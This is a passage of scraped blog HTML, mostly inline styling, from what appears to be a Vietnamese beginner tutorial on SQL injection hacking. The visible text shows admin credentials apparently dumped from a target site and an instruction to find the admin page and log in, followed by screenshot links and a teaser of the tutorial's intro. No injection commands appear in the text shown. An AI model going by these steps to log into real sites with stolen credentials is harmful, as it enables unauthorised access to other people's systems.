-webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">ID: Admin</span><br /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Pass : @#123@# </span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Số 1 Là Số User troq site ^^</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_10" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vsecxi.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 0px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 850px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_11" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-vsecxv.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 0px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 850px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Thế Là Xoq Rồi Nhé ^^! </span></div> <div class="post-info"> </div> <div class="post-info"> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Nguồn St </span></div>

[Tutorial] Hack SQLi Injection Căn Bản Cho NewBie

Đầu Tiên ! Xin Chào Mng ^_^ mình mới tham gia forum nên có gì ko đúng các pro chỉ thêm ^^! Tiếp theo ... Cần Chuẩn Bị : 1.Hackbar (Và...

Read more »